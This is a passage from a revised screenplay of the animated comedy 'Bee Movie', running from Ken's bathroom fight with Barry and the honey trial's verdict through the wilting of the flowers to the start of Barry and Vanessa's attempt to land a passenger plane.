(exploding, trying to smash Barry with the Emmy) Why doesn’t someone just step on this little creep and we can all go home? You’re all thinking it. Say it! JUDGE Order! Order in this courtroom! A MONTAGE OF NEWSPAPER HEADLINES FOLLOWS: NEW YORK POST: “Bees to Humans: Buzz Off”. NEW YORK TELEGRAM: “Sue Bee”. DAILY VARIETY: “Studio Dumps Liotta Project. Slams Door on Unlawful Entry 2.” CUT TO: SEQ. 3175 - “CANDLELIGHT DINNER” INT. VANESSA’S APARTMENT Barry and Vanessa are having a candle light dinner. Visible behind Barry is a “LITTLE MISSY” SET BOX, with the flaps open. BARRY Well, I just think that was awfully nice of that bear to pitch in like that. "Bee Movie" - JS REVISIONS 8/13/07 78. VANESSA I’m telling you, I think the jury’s on our side. BARRY Are we doing everything right...you know, legally? VANESSA I’m a florist. BARRY Right, right. Barry raises his glass. BARRY (CONT’D) Well, here’s to a great team. VANESSA To a great team. They toast. Ken ENTERS KEN Well hello. VANESSA Oh...Ken. BARRY Hello. VANESSA I didn’t think you were coming. KEN No, I was just late. I tried to call. But, (holding his cell phone) the battery... VANESSA I didn’t want all this to go to waste, so I called Barry. Luckily he was free. BARRY Yeah. KEN (gritting his teeth) Oh, that was lucky. "Bee Movie" - JS REVISIONS 8/13/07 79. VANESSA Well, there’s still a little left. I could heat it up. KEN Yeah, heat it up. Sure, whatever. Vanessa EXITS. Ken and Barry look at each other as Barry eats. BARRY So, I hear you’re quite a tennis player. I’m not much for the game myself. I find the ball a little grabby. KEN That’s where I usually sit. Right there. VANESSA (O.C) Ken, Barry was looking at your resume, and he agreed with me that “eating with chopsticks” isn’t really a special skill. KEN (to Barry) You think I don’t see what you’re doing? BARRY Hey look, I know how hard it is trying to find the right job. We certainly have that in common. KEN Do we? BARRY Well, bees have 100% employment, of course. But we do jobs like taking the crud out. KEN That’s just what I was thinking about doing. Ken holds his table knife up. It slips out of his hand. He goes under the table to pick it up. "Bee Movie" - JS REVISIONS 8/13/07 80. VANESSA Ken, I let Barry borrow your razor for his fuzz. I hope that was alright. Ken hits his head on the table. BARRY I’m going to go drain the old stinger. KEN Yeah, you do that. Barry EXITS to the bathroom, grabbing a small piece of a VARIETY MAGAZINE on the way. BARRY Oh, look at that. Ken slams the champagne down on the table. Ken closes his eyes and buries his face in his hands. He grabs a magazine on the way into the bathroom. SEQ. 2800 - “BARRY FIGHTS KEN” INT. BATHROOM - CONTINUOUS Ken ENTERS, closes the door behind him. He’s not happy. Barry is washing his hands. He glances back at Ken. KEN You know, I’ve just about had it with your little mind games. BARRY What’s that? KEN Italian Vogue. BARRY Mamma Mia, that’s a lot of pages. KEN It’s a lot of ads. BARRY Remember what Van said. Why is your life any more valuable than mine? "Bee Movie" - JS REVISIONS 8/13/07 81. KEN It’s funny, I just can’t seem to recall that! Ken WHACKS at Barry with the magazine. He misses and KNOCKS EVERYTHING OFF THE VANITY. Ken grabs a can of AIR FRESHENER. KEN (CONT'D) I think something stinks in here. He sprays at Barry. BARRY I love the smell of flowers. KEN Yeah? How do you like the smell of flames? Ken lights the stream. BARRY Not as much. Barry flies in a circle. Ken, trying to stay with him, spins in place. ANGLE ON: Flames outside the bathroom door. Ken slips on the Italian Vogue, falls backward into the shower, pulling down the shower curtain. The can hits him in the head, followed by the shower curtain rod, and the rubber duck. Ken reaches back, grabs the handheld shower head. He whips around, looking for Barry. ANGLE ON: A WATERBUG near the drain. WATERBUG Waterbug. Not taking sides. Barry is on the toilet tank. He comes out from behind a shampoo bottle, wearing a chapstick cap as a helmet. BARRY Ken, look at me! I’m wearing a chapstick hat. This is pathetic. ANGLE ON: Ken turning the hand shower nozzle from “GENTLE”, to “TURBO”, to “LETHAL”. "Bee Movie" - JS REVISIONS 8/13/07 82. KEN I’ve got issues! Ken fires the water at Barry, knocking him into the toilet. The items from the vanity (emory board, lipstick, eye curler, etc.) are on the toilet seat. Ken looks down at Barry. KEN (CONT'D) Well well well, a royal flush. BARRY You’re bluffing. KEN Am I? Ken flushes the toilet. Barry grabs the Emory board and uses it to surf. He puts his hand in the water while he’s surfing. Some water splashes on Ken. BARRY Surf’s up, dude! KEN Awww, poo water! He does some skate board-style half-pipe riding. Barry surfs out of the toilet. BARRY That bowl is gnarly. Ken tries to get a shot at him with the toilet brush. KEN Except for those dirty yellow rings. Vanessa ENTERS. VANESSA Kenneth! What are you doing? KEN You know what? I don’t even like honey! I don’t eat it! VANESSA We need to talk! "Bee Movie" - JS REVISIONS 8/13/07 83. She pulls Ken out by his ear. Ken glares at Barry. CUT TO: INT. HALLWAY - CONTINUOUS VANESSA He’s just a little bee. And he happens to be the nicest bee I’ve met in a long time. KEN Long time? What are you talking about? Are there other bugs in your life? VANESSA No, but there are other things bugging me in life. And you’re one of them! KEN Fine! Talking bees, no yogurt night...my nerves are fried from riding on this emotional rollercoaster. VANESSA Goodbye, Ken. KEN Augh! VANESSA Whew! Ken EXITS, then re-enters frame. KEN And for your information, I prefer sugar-free, artificial sweeteners, made by man! He EXITS again. The DOOR SLAMS behind him. VANESSA (to Barry) I’m sorry about all that. Ken RE-ENTERS. "Bee Movie" - JS REVISIONS 8/13/07 84. KEN I know it’s got an aftertaste! I like it! BARRY (re: Ken) I always felt there was some kind of barrier between Ken and me. (puts his hands in his pockets) I couldn’t overcome it. Oh well. VANESSA Are you going to be okay for the trial tomorrow? BARRY Oh, I believe Mr. Montgomery is about out of ideas. CUT TO: SEQ. 3300 - “ADAM STINGS MONTY” INT. COURTROOM - NEXT DAY ANGLE ON: Medium shot of Montgomery standing at his table. MONTGOMERY We would like to call Mr. Barry Benson Bee to the stand. ADAM (whispering to Vanessa) Now that’s a good idea. (to Barry) You can really see why he’s considered one of the very best lawyers-- Oh. Barry rolls his eyes. He gets up, takes the stand. A juror in a striped shirt APPLAUDS. MR. GAMMIL (whispering) Layton, you’ve got to weave some magic with this jury, or it’s going to be all over. Montgomery is holding a BOOK, “The Secret Life of Bees”. "Bee Movie" - JS REVISIONS 8/13/07 85. MONTGOMERY (confidently whispering) Oh, don’t worry Mr. Gammil. The only thing I have to do to turn this jury around is to remind them of what they don’t like about bees. (to Gammil) You got the tweezers? Mr. Gammil NODS, and pats his breast pocket. MR. GAMMIL Are you allergic? MONTGOMERY Only to losing, son. Only to losing. Montgomery approaches the stand. MONTGOMERY (CONT’D) Mr. Benson Bee. I’ll ask you what I think we’d all like to know. What exactly is your relationship to that woman? Montgomery points to Vanessa. BARRY We’re friends. MONTGOMERY Good friends? BARRY Yes. MONTGOMERY (softly in Barry’s face) How good? BARRY What? MONTGOMERY Do you live together? BARRY Wait a minute, this isn’t about-- "Bee Movie" - JS REVISIONS 8/13/07 86. MONTGOMERY Are you her little... (clearing throat) ... bed bug? BARRY (flustered) Hey, that’s not the kind of-- MONTGOMERY I’ve seen a bee documentary or two. Now, from what I understand, doesn’t your Queen give birth to all the bee children in the hive? BARRY Yeah, but-- MONTGOMERY So those aren’t even your real parents! ANGLE ON: Barry’s parents. MARTIN BENSON Oh, Barry. BARRY Yes they are! ADAM Hold me back! Vanessa holds him back with a COFFEE STIRRER. Montgomery points to Barry’s parents. MONTGOMERY You’re an illegitimate bee, aren’t you Benson? ADAM He’s denouncing bees! All the bees in the courtroom start to HUM. They’re agitated. MONTGOMERY And don’t y’all date your cousins? "Bee Movie" - JS REVISIONS 8/13/07 87. VANESSA (standing, letting go of Adam) Objection! Adam explodes from the table and flies towards Montgomery. ADAM I’m going to pin cushion this guy! Montgomery turns around and positions himself by the judge’s bench. He sticks his butt out. Montgomery winks at his team. BARRY Adam, don’t! It’s what he wants! Adam shoves Barry out of the way. Adam STINGS Montgomery in the butt. The jury REACTS, aghast. MONTGOMERY Ow! I’m hit! Oh, lordy, I am hit! The judge BANGS her gavel. JUDGE Order! Order! Please, Mr. Montgomery. MONTGOMERY The venom! The venom is coursing through my veins! I have been felled by a wing-ed beast of destruction. You see? You can’t treat them like equals. They’re strip-ed savages! Stinging’s the only thing they know! It’s their way! ANGLE ON: Adam, collapsed on the floor. Barry rushes to his side. BARRY Adam, stay with me. ADAM I can’t feel my legs. Montgomery falls on the Bailiff. BAILIFF Take it easy. "Bee Movie" - JS REVISIONS 8/13/07 88. MONTGOMERY Oh, what angel of mercy will come forward to suck the poison from my heaving buttocks? The JURY recoils. JUDGE Please, I will have order in this court. Order! Order, please! FADE TO: SEQ. 3400 - “ADAM AT HOSPITAL” INT. HOSPITAL - STREET LEVEL ROOM - DAY PRESS PERSON #1 (V.O) The case of the honey bees versus the human race took a pointed turn against the bees yesterday, when one of their legal team stung Layton T. Montgomery. Now here’s Don with the 5-day. A NURSE lets Barry into the room. Barry CARRIES a FLOWER. BARRY Thank you. Barry stands over Adam, in a bed. Barry lays the flower down next to him. The TV is on. BARRY (CONT'D) Hey buddy. ADAM Hey. BARRY Is there much pain? Adam has a BEE-SIZED PAINKILLER HONEY BUTTON near his head that he presses. ADAM (pressing the button) Yeah...I blew the whole case, didn’t I? "Bee Movie" - JS REVISIONS 8/13/07 89. BARRY Oh, it doesn’t matter. The important thing is you’re alive. You could have died. ADAM I’d be better off dead. Look at me. Adam THROWS the blanket off his lap, revealing a GREEN SANDWICH SWORD STINGER. ADAM (CONT’D) (voice cracking) They got it from the cafeteria, they got it from downstairs. In a tuna sandwich. Look, there’s a little celery still on it. BARRY What was it like to sting someone? ADAM I can’t explain it. It was all adrenaline...and then...ecstasy. Barry looks at Adam. BARRY Alright. ADAM You think that was all a trap? BARRY Of course. I’m sorry. I flew us right into this. What were we thinking? Look at us, we’re just a couple of bugs in this world. ADAM What do you think the humans will do to us if they win? BARRY I don’t know. ADAM I hear they put the roaches in motels. That doesn’t sound so bad. "Bee Movie" - JS REVISIONS 8/13/07 90. BARRY Adam, they check in, but they don’t check out. Adam GULPS. ADAM Oh my. ANGLE ON: the hospital window. We see THREE PEOPLE smoking outside on the sidewalk. The smoke drifts in. Adam COUGHS. ADAM (CONT’D) Say, could you get a nurse to close that window? BARRY Why? ADAM The smoke. Bees don’t smoke. BARRY Right. Bees don’t smoke. Bees don’t smoke! But some bees are smoking. Adam, that’s it! That’s our case. Adam starts putting his clothes on. ADAM It is? It’s not over? BARRY No. Get up. Get dressed. I’ve got to go somewhere. You get back the court and stall. Stall anyway you can. CUT TO: SEQ. 3500 - “SMOKING GUN” INT. COURTROOM - THE NEXT DAY Adam is folding a piece of paper into a boat. ADAM ...and assuming you’ve done step 29 correctly, you’re ready for the tub. "Bee Movie" - JS REVISIONS 8/13/07 91. ANGLE ON: The jury, all with paper boats of their own. JURORS Ooh. ANGLE ON: Montgomery frustrated with Gammil, who’s making a boat also. Monty crumples Gammil’s boat, and throws it at him. JUDGE Mr. Flayman? ADAM Yes? Yes, Your Honor? JUDGE Where is the rest of your team? ADAM (fumbling with his swordstinger) Well, your honor, it’s interesting. You know Bees are trained to fly kind of haphazardly and as a result quite often we don’t make very good time. I actually once heard a pretty funny story about a bee-- MONTGOMERY Your Honor, haven’t these ridiculous bugs taken up enough of this court’s valuable time? Montgomery rolls out from behind his table. He’s suspended in a LARGE BABY CHAIR with wheels. MONTGOMERY (CONT'D) How much longer are we going to allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients who have all run perfectly legitimate businesses. I move for a complete dismissal of this entire case. JUDGE Mr. Flayman, I am afraid I am going to have to consider Mr. Montgomery’s motion. "Bee Movie" - JS REVISIONS 8/13/07 92. ADAM But you can’t. We have a terrific case. MONTGOMERY Where is your proof? Where is the evidence? Show me the smoking gun. Barry bursts through the door. BARRY Hold it, your honor. You want a smoking gun? Here is your smoking gun. Vanessa ENTERS, holding a bee smoker Vanessa slams the beekeeper's SMOKER onto the judge’s bench. JUDGE What is that? BARRY It’s a Bee smoker. Montgomery GRABS the smoker. MONTGOMERY What, this? This harmless little contraption? This couldn’t hurt a fly, let alone a bee. He unintentionally points it towards the bee gallery, KNOCKING THEM ALL OUT. The jury GASPS. The press SNAPS pictures of them. BARRY Members of the jury, look at what has happened to bees who have never been asked, "Smoking or Non?" Is this what nature intended for us? To be forcibly addicted to these smoke machines in man-made wooden slat work camps? Living out our lives as honey slaves to the white man? Barry gestures dramatically towards Montgomery's racially mixed table. The BLACK LAWYER slowly moves his chair away. GAMMIL What are we going to do? "Bee Movie" - JS REVISIONS 8/13/07 93. MONTGOMERY (to Pross) He's playing the species card. Barry lands on the scale of justice, by the judge’s bench. It balances as he lands. BARRY Ladies and gentlemen, please, FreeThese-Bees! ANGLE ON: Jury, chanting "Free the bees". JUDGE The court finds in favor of the bees. The chaos continues. Barry flies over to Vanessa, with his hand up for a “high 5”. BARRY Vanessa, we won! VANESSA Yay! I knew you could do it. Highfive! She high 5’s Barry, sending him crashing to the table. He bounces right back up. VANESSA (CONT'D) Oh, sorry. BARRY Ow!! I’m okay. Vanessa, do you know what this means? All the honey is finally going to belong to the bees. Now we won’t have to work so hard all the time. Montgomery approaches Barry, surrounded by the press. The cameras and microphones go to Montgomery. MONTGOMERY (waving a finger) This is an unholy perversion of the balance of nature, Benson! You’ll regret this. ANGLE ON: Barry’s ‘deer in headlights’ expression, as the press pushes microphones in his face. "Bee Movie" - JS REVISIONS 8/13/07 94. PRESS PERSON 1 Barry, how much honey do you think is out there? BARRY Alright, alright, one at a time... SARAH Barry, who are you wearing? BARRY Uhhh, my sweater is Ralph Lauren, and I have no pants. The Press follows Barry as he EXITS. ANGLE ON: Adam and Vanessa. ADAM (putting papers away) What if Montgomery’s right? VANESSA What do you mean? ADAM We’ve been living the bee way a long time. 27 million years. DISSOLVE TO: SEQ. 3600 - “HONEY ROUNDUP” EXT. HONEY FARMS APIARY - MONTAGE SARAH (V.O) Congratulations on your victory. What are you going to demand as a settlement? BARRY (V.O) (over montage) First, we’re going to demand a complete shutdown of all bee work camps. Then, we want to get back all the honey that was ours to begin with. Every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, big-headed, bad breath, stink-machine. "Bee Movie" - JS REVISIONS 8/13/07 95. I believe we’re all aware of what they do in the woods. We will no longer tolerate derogatory beenegative nick-names, unnecessary inclusion of honey in bogus health products, and la-dee-da tea-time human snack garnishments. MONTAGE IMAGES: Close-up on an ATF JACKET, with the YELLOW LETTERS. Camera pulls back. We see an ARMY OF BEE AND HUMAN AGENTS wearing hastily made “Alcohol, Tobacco, Firearms, and Honey” jackets. Barry supervises. The gate to Honey Farms is locked permanently. All the smokers are collected and locked up. All the bees leave the Apiary. CUT TO: EXT. ATF OUTSIDE OF SUPERMARKET - MONTAGE Agents begin YANKING honey off the supermarket shelves, and out of shopping baskets. CUT TO: EXT. NEW HIVE CITY - MONTAGE The bees tear down a honey-bear statue. CUT TO: EXT. YELLOWSTONE FOREST - MONTAGE POV of a sniper’s crosshairs. An animated BEAR character looka-like, turns his head towards camera. BARRY Wait for my signal. ANGLE ON: Barry lowering his binoculars. BARRY (CONT'D) Take him out. The sniper SHOOTS the bear. It hits him in the shoulder. The bear looks at it. He gets woozy and the honey jar falls out of his lap, an ATF&H agent catches it. "Bee Movie" - JS REVISIONS 8/13/07 96. BARRY (V.O) (CONT'D) ATF&H AGENT (to the bear’s pig friend) He’ll have a little nausea for a few hours, then he’ll be fine. CUT TO: EXT. STING’S HOUSE - MONTAGE ATF&H agents SLAP CUFFS on Sting, who is meditating. STING But it’s just a prance-about stage name! CUT TO: INT. A WOMAN’S SHOWER - MONTAGE A WOMAN is taking a shower, and using honey shampoo. An ATF&H agent pulls the shower curtain aside, and grabs her bottle of shampoo. The woman SCREAMS. The agent turns to the 3 other agents, and Barry. ANGLE ON: Barry looking at the label on the shampoo bottle, shaking his head and writing in his clipboard. CUT TO: EXT. SUPERMARKET CAFE - MONTAGE Another customer, an old lady having her tea with a little jar of honey, gets her face pushed down onto the table and turned to the side by two agents. One of the agents has a gun on her. OLD LADY Can’t breathe. CUT TO: EXT. CENTRAL PARK - MONTAGE An OIL DRUM of honey is connected to Barry’s hive. "Bee Movie" - JS REVISIONS 8/13/07 97. BARRY Bring it in, boys. CUT TO: SEQ. 3650 - “NO MORE WORK” INT. HONEX - MONTAGE ANGLE ON: The honey goes past the 3-cup hash-mark, and begins to overflow. A WORKER BEE runs up to Buzzwell. WORKER BEE 1 Mr. Buzzwell, we just passed 3 cups, and there’s gallons mores coming. I think we need to shutdown. KEYCHAIN BEE (to Buzzwell) Shutdown? We’ve never shutdown. ANGLE ON: Buzzwell overlooking the factory floor. BUZZWELL Shutdown honey production! Stop making honey! ANGLE ON: TWO BEES, each with a KEY. BUZZWELL (CONT’D) Turn your key, Sir! They turn the keys simultaneously, War Games-style, shutting down the honey machines. ANGLE ON: the Taffy-Pull machine, Centrifuge, and Krelman all slowly come to a stop. The bees look around, bewildered. WORKER BEE 5 What do we do now? A BEAT. WORKER BEE 6 Cannon ball!! He jumps into a HONEY VAT, doesn’t penetrate the surface. He looks around, and slowly sinks down to his waist. "Bee Movie" - JS REVISIONS 8/13/07 98. EXT. HONEX FACTORY THE WHISTLE BLOWS, and the bees all stream out the exit. CUT TO: INT. J-GATE - CONTINUOUS Lou Loduca gives orders to the pollen jocks. LOU LODUCA We’re shutting down honey production. Mission abort. CUT TO: EXT. CENTRAL PARK Jackson receives the orders, mid-pollination. JACKSON Aborting pollination and nectar detail. Returning to base. CUT TO: EXT. NEW HIVE CITY ANGLE ON: Bees, putting sun-tan lotion on their noses and antennae, and sunning themselves on the balconies of the gyms. CUT TO: EXT. CENTRAL PARK ANGLE ON: THE FLOWERS starting to DROOP. CUT TO: INT. J-GATE J-Gate is deserted. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 99. EXT. NEW HIVE CITY ANGLE ON: Bees sunning themselves. A TIMER DINGS, and they all turn over. CUT TO: EXT. CENTRAL PARK TIME LAPSE of Central Park turning brown. CUT TO: EXT. VANESSA’S FLORIST SHOP CLOSE-UP SHOT: Vanessa writes “Sorry. No more flowers.” on a “Closed” sign, an turns it facing out. CUT TO: SEQ. 3700 - “IDLE HIVE” EXT. NEW HIVE CITY - DAY Barry flies at high speed. TRACKING SHOT into the hive, through the lobby of Honex, and into Adam’s office. CUT TO: INT. ADAM’S OFFICE - CONTINUOUS Barry meets Adam in his office. Adam’s office is in disarray. There are papers everywhere. He’s filling up his cardboard hexagon box. BARRY (out of breath) Adam, you wouldn’t believe how much honey was out there. ADAM Oh yeah? BARRY What’s going on around here? Where is everybody? Are they out celebrating? "Bee Movie" - JS REVISIONS 8/13/07 100. ADAM (exiting with a cardboard box of belongings) No, they’re just home. They don’t know what to do. BARRY Hmmm. ADAM They’re laying out, they’re sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. BARRY At least we got our honey back. They walk through the empty factory. ADAM Yeah, but sometimes I think, so what if the humans liked our honey? Who wouldn’t? It’s the greatest thing in the world. I was excited to be a part of making it. ANGLE ON: Adam’s desk on it’s side in the hall. ADAM (CONT’D) This was my new desk. This was my new job. I wanted to do it really well. And now...and now I can’t. Adam EXITS. CUT TO: SEQ. 3900 - “WORLD WITHOUT BEES” INT. STAIRWELL Vanessa and Barry are walking up the stairs to the roof. BARRY I don’t understand why they’re not happy. We have so much now. I thought their lives would be better. "Bee Movie" - JS REVISIONS 8/13/07 101. VANESSA Hmmm. BARRY They’re doing nothing. It’s amazing, honey really changes people. VANESSA You don’t have any idea what’s going on, do you? BARRY What did you want to show me? VANESSA This. They reach the top of the stairs. Vanessa opens the door. CUT TO: EXT. VANESSA’S ROOFTOP - CONTINUOUS Barry sees Vanessa’s flower pots and small garden have all turned brown. BARRY What happened here? VANESSA That is not the half of it... Vanessa turns Barry around with her two fingers, revealing the view of Central Park, which is also all brown. BARRY Oh no. Oh my. They’re all wilting. VANESSA Doesn’t look very good, does it? BARRY No. VANESSA And who’s fault do you think that is? "Bee Movie" - JS REVISIONS 8/13/07 102. BARRY Mmmm...you know, I’m going to guess, bees. VANESSA Bees? BARRY Specifically me. I guess I didn’t think that bees not needing to make honey would affect all these other things. VANESSA And it’s not just flowers. Fruits, vegetables...they all need bees. BARRY Well, that’s our whole SAT test right there. VANESSA So, you take away the produce, that affects the entire animal kingdom. And then, of course... BARRY The human species? VANESSA (clearing throat) Ahem! BARRY Oh. So, if there’s no more pollination, it could all just go south here, couldn’t it? VANESSA And I know this is also partly my fault. Barry takes a long SIGH. BARRY How about a suicide pact? VANESSA (not sure if he’s joking) How would we do it? BARRY I’ll sting you, you step on me. "Bee Movie" - JS REVISIONS 8/13/07 103. VANESSA That just kills you twice. BARRY Right, right. VANESSA Listen Barry. Sorry but I’ve got to get going. She EXITS. BARRY (looking out over the park) Had to open my mouth and talk... (looking back) Vanessa..? Vanessa is gone. CUT TO: SEQ. 3935 - “GOING TO PASADENA” EXT. NY STREET - CONTINUOUS Vanessa gets into a cab. Barry ENTERS. BARRY Vanessa. Why are you leaving? Where are you going? VANESSA To the final Tournament of Roses parade in Pasadena. They moved it up to this weekend because all the flowers are dying. It’s the last chance I’ll ever have to see it. BARRY Vanessa, I just want to say I’m sorry. I never meant it to turn out like this. VANESSA I know. Me neither. Vanessa cab drives away. "Bee Movie" - JS REVISIONS 8/13/07 104. BARRY (chuckling to himself) Tournament of Roses. Roses can’t do sports. Wait a minute...roses. Roses? Roses!? Vanessa! Barry follows shortly after. He catches up to it, and he pounds on the window. Barry follows shortly after Vanessa’s cab. He catches up to it, and he pounds on the window. INT. TAXI - CONTINUOUS Barry motions for her to roll the window down. She does so. BARRY Roses?! VANESSA Barry? BARRY (as he flies next to the cab) Roses are flowers. VANESSA Yes, they are. BARRY Flowers, bees, pollen! VANESSA I know. That’s why this is the last parade. BARRY Maybe not. The cab starts pulling ahead of Barry. BARRY (CONT'D) (re: driver) Could you ask him to slow down? VANESSA Could you slow down? The cabs slows. Barry flies in the window, and lands in the change box, which closes on him. "Bee Movie" - JS REVISIONS 8/13/07 105. VANESSA (CONT'D) Barry! Vanessa lets him out. Barry stands on the change box, in front of the driver’s license. BARRY Okay, I made a huge mistake! This is a total disaster, and it’s all my fault! VANESSA Yes, it kind of is. BARRY I’ve ruined the planet. And, I wanted to help with your flower shop. Instead, I’ve made it worse. VANESSA Actually, it’s completely closed down. BARRY Oh, I thought maybe you were remodeling. Nonetheless, I have another idea. And it’s greater than all my previous great ideas combined. VANESSA I don’t want to hear it. Vanessa closes the change box on Barry. BARRY (opening it again) Alright, here’s what I’m thinking. They have the roses, the roses have the pollen. I know every bee, plant, and flower bud in this park. All we’ve got to do is get what they’ve got back here with what we’ve got. VANESSA Bees... BARRY Park... VANESSA Pollen... "Bee Movie" - JS REVISIONS 8/13/07 106. BARRY Flowers... VANESSA Repollination! BARRY (on luggage handle, going up) Across the nation! CUT TO: SEQ. 3950 - “ROSE PARADE” EXT. PASADENA PARADE BARRY (V.O) Alright. Tournament of Roses. Pasadena, California. They’ve got nothing but flowers, floats, and cotton candy. Security will be tight. VANESSA I have an idea. CUT TO: EXT. FLOAT STAGING AREA ANGLE ON: Barry and Vanessa approaching a HEAVILY ARMED GUARD in front of the staging area. VANESSA Vanessa Bloome, FTD. Official floral business. He leans in to look at her badge. She SNAPS IT SHUT, VANESSA (CONT’D) Oh, it’s real. HEAVILY ARMED GUARD Sorry ma’am. That’s a nice brooch, by the way. VANESSA Thank you. It was a gift. "Bee Movie" - JS REVISIONS 8/13/07 107. They ENTER the staging area. BARRY (V.O) Then, once we’re inside, we just pick the right float. VANESSA How about the Princess and the Pea? BARRY Yeah. VANESSA I can be the princess, and-- BARRY ...yes, I think-- VANESSA You could be-- BARRY I’ve-- VANESSA The pea. BARRY Got it. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER Barry, dressed as a PEA, flies up and hovers in front of the princess on the “Princess and the Pea” float. The float is sponsored by Inflat-a-bed and a SIGN READS: “Inflat-a-bed: If it blows, it’s ours.” BARRY Sorry I’m late. Where should I sit? PRINCESS What are you? BARRY I believe I’m the pea. PRINCESS The pea? It’s supposed to be under the mattresses. "Bee Movie" - JS REVISIONS 8/13/07 108. BARRY Not in this fairy tale, sweetheart. PRINCESS I’m going to go talk to the marshall. BARRY You do that. This whole parade is a fiasco! She EXITS. Vanessa removes the step-ladder. The princess FALLS. Barry and Vanessa take off in the float. BARRY (CONT’D) Let’s see what this baby will do. ANGLE ON: Guy with headset talking to drivers. HEADSET GUY Hey! The float ZOOMS by. A young CHILD in the stands, TIMMY, cries. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER ANGLE ON: Vanessa putting the princess hat on. BARRY (V.O) Then all we do is blend in with traffic, without arousing suspicion. CUT TO: EXT. THE PARADE ROUTE - CONTINUOUS The floats go flying by the crowds. Barry and Vanessa’s float CRASHES through the fence. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 109. EXT. LA FREEWAY Vanessa and Barry speed, dodging and weaving, down the freeway. BARRY (V.O) And once we’re at the airport, there’s no stopping us. CUT TO: EXT. LAX AIRPORT Barry and Vanessa pull up to the curb, in front of an TSA AGENT WITH CLIPBOARD. TSA AGENT Stop. Security. Did you and your insect pack your own float? VANESSA (O.C) Yes. TSA AGENT Has this float been in your possession the entire time? VANESSA (O.C) Since the parade...yes. ANGLE ON: Barry holding his shoes. TSA AGENT Would you remove your shoes and everything in your pockets? Can you remove your stinger, Sir? BARRY That’s part of me. TSA AGENT I know. Just having some fun. Enjoy your flight. CUT TO: EXT. RUNWAY Barry and Vanessa’s airplane TAKES OFF. "Bee Movie" - JS REVISIONS 8/13/07 110. BARRY (O.C) Then, if we’re lucky, we’ll have just enough pollen to do the job. DISSOLVE TO: SEQ. 4025 - “COCKPIT FIGHT” INT. AIRPLANE Vanessa is on the aisle. Barry is on a laptop calculating flowers, pollen, number of bees, airspeed, etc. He does a “Stomp” dance on the keyboard. BARRY Can you believe how lucky we are? We have just enough pollen to do the job. I think this is going to work, Vanessa. VANESSA It’s got to work. PILOT (V.O) Attention passengers. This is Captain Scott. I’m afraid we have a bit of bad weather in the New York area. And looks like we’re going to be experiencing a couple of hours delay. VANESSA Barry, these are cut flowers with no water. They’ll never make it. BARRY I’ve got to get up there and talk to these guys. VANESSA Be careful. Barry flies up to the cockpit door. CUT TO: INT. COCKPIT - CONTINUOUS A female flight attendant, ANGELA, is in the cockpit with the pilots. "Bee Movie" - JS REVISIONS 8/13/07 111. There’s a KNOCK at the door. BARRY (C.O) Hey, can I get some help with this Sky Mall Magazine? I’d like to order the talking inflatable travel pool filter. ANGELA (to the pilots, irritated) Excuse me. CUT TO: EXT. CABIN - CONTINUOUS Angela opens the cockpit door and looks around. She doesn’t see anybody. ANGLE ON: Barry hidden on the yellow and black “caution” stripe. As Angela looks around, Barry zips into the cockpit. CUT TO: INT. COCKPIT BARRY Excuse me, Captain. I am in a real situation here... PILOT (pulling an earphone back, to the co-pilot) What did you say, Hal? CO-PILOT I didn’t say anything. PILOT (he sees Barry) Ahhh! Bee! BARRY No, no! Don’t freak out! There’s a chance my entire species-- CO-PILOT (taking off his earphones) Ahhh! "Bee Movie" - JS REVISIONS 8/13/07 112. The pilot grabs a “DUSTBUSTER” vacuum cleaner. He aims it around trying to vacuum up Barry. The co-pilot faces camera, as the pilot tries to suck Barry up. Barry is on the other side of the co-pilot. As they dosey-do, the toupee of the co-pilot begins to come up, still attached to the front. CO-PILOT (CONT'D) What are you doing? Stop! The toupee comes off the co-pilot’s head, and sticks in the Dustbuster. Barry runs across the bald head. BARRY Wait a minute! I’m an attorney! CO-PILOT Who’s an attorney? PILOT Don’t move. The pilot uses the Dustbuster to try and mash Barry, who is hovering in front of the co-pilot’s nose, and knocks out the co-pilot who falls out of his chair, hitting the life raft release button. The life raft inflates, hitting the pilot, knocking him into a wall and out cold. Barry surveys the situation. BARRY Oh, Barry. CUT TO: INT. AIRPLANE CABIN Vanessa studies her laptop, looking serious. SFX: PA CRACKLE. BARRY (V.O) (in captain voice) Good afternoon passengers, this is your captain speaking. Would a Miss Vanessa Bloome in 24F please report to the cockpit. And please hurry! "Bee Movie" - JS REVISIONS 8/13/07 113. ANGLE ON: The aisle, and Vanessa head popping up. CUT TO: INT. COCKPIT Vanessa ENTERS. VANESSA What happened here? BARRY I tried to talk to them, but then there was a Dustbuster, a toupee, a life raft exploded...Now one’s bald, one’s in a boat, and they’re both unconscious. VANESSA Is that another bee joke? BARRY No. No one’s flying the plane. The AIR TRAFFIC CONTROLLER, BUD, speaks over the radio. BUD This is JFK control tower. Flight 356, what’s your status? Vanessa presses a button, and the intercom comes on. VANESSA This is Vanessa Bloome. I’m a florist from New York. BUD Where’s the pilot? VANESSA He’s unconscious and so is the copilot. BUD Not good. Is there anyone onboard who has flight experience? A BEAT. BARRY As a matter of fact, there is. "Bee Movie" - JS REVISIONS 8/13/07 114. BUD Who’s that? VANESSA Barry Benson. BUD From the honey trial? Oh great. BARRY Vanessa, this is nothing more than a big metal bee. It’s got giant wings, huge engines. VANESSA I can’t fly a plane. BARRY Why not? Isn’t John Travolta a pilot? VANESSA Yes? BARRY How hard could it be? VANESSA Wait a minute. Barry, we’re headed into some lightning. CUT TO: Vanessa shrugs, and takes the controls. SEQ. 4150 - “BARRY FLIES PLANE” INT. BENSON HOUSE The family is all huddled around the TV at the Benson house. ANGLE ON: TV. Bob Bumble is broadcasting. BOB BUMBLE This is Bob Bumble. We have some late-breaking news from JFK airport, where a very suspenseful scene is developing. Barry Benson, fresh off his stunning legal victory... "Bee Movie" - JS REVISIONS 8/13/07 115. Adam SPRAYS a can of HONEY-WHIP into his mouth. ADAM That’s Barry. BOB BUMBLE ...is now attempting to land a plane, loaded with people, flowers, and an incapacitated flight crew. EVERYONE Flowers?! CUT TO: INT. AIR TRAFFIC CONTROL TOWER BUD Well, we have an electrical storm in the area, and two individuals at the controls of a jumbo jet with absolutely no flight experience. JEANETTE CHUNG Just a minute, Mr. 